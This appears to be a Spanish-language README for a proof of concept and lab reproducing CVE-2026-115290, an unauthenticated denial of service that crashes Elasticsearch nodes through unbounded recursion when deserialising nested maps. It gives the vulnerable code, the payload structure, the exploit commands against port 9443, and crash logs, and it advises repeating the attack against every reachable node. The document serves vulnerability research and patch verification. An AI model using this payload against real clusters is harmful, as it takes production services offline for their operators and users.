
PoC y laboratorio A/B contenedorizado para CVE-2026-115290, un DoS no autenticado del servidor de clúster remoto de Elasticsearch mediante recursión de deserialización sin límites (CWE-674).
Causa raíz: Recursión no controlada (CWE-674). El nodo deserializa los bytes proporcionados por el atacante
antes de comprobar la clave de API: una única solicitud TCP no autenticada al puerto del servidor de clúster remoto es
suficiente para desbordar la pila de un worker con un StackOverflowError y tumbar el nodo. Repetir contra cada
nodo accesible.
| CVE | CVE-2026-115290 |
| Aviso | Elastic ESA-2026-201 (2026-11-03) |
| Gravedad | CVSS 3.1 7.5 Alta, vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Afectados | Elasticsearch 8.10.0 a 8.19.23, 9.0.0 a 9.4.8, 9.5.0 a 9.5.5, con remote_cluster_server.enabled: true |
| Corregido | 8.19.24 / 9.4.9 / 9.5.6 |
| Commit de corrección | 0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492) |
| Requisitos previos | Licencia Enterprise / de prueba (característica advanced-remote-cluster-security), interfaz habilitada |
CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decodificaba la cabecera de información del sujeto
controlada por el remitente lo antes posible para que los eventos de auditoría pudieran incluir el id de la clave de API:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
La decodificación es una deserialización pura sin límites de profundidad:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() recurre sin ningún límite de profundidad en mapas anidados (etiqueta de tipo 10).
Alrededor de 200k mapas anidados de una sola entrada son suficientes para desbordar la pila del hilo de transporte dentro de decode().
Corregido (8.19.24): la información del sujeto permanece codificada hasta que la clave de API se autentica, por lo que las solicitudes no autenticadas nunca llegan al deserializador:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
Cosas que facilitan el ataque:
TransportVersion.isCompatible);TransportVersion (leída con readVInt), por lo que las ramas de deserialización pueden dirigirse de forma independiente a la versión de la cabecera del mensaje;ApiKey <base64(id:key)>), la clave en sí nunca tiene que autenticarse porque el fallo ocurre antes de que eso se ejecute;readGenericValue: 0 string, 10 map (recursivo), 0xFF null; las cadenas son vInt charCount + utf8; los enteros son vInts LEB128 de 7 bits.poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
Despliegues TLS: añada --tls a cualquier modo.
Reproducción a nivel de unidad (opcional): la carga útil por sí sola puede alimentarse al decodificador real:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/, reproducida en este laboratorio)Nodo vulnerable (8.19.23, es-vuln). Una solicitud exploit, sin autenticación:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log (ver evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
Nodo fijo (8.19.24, es-fixed), carga útil idéntica:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)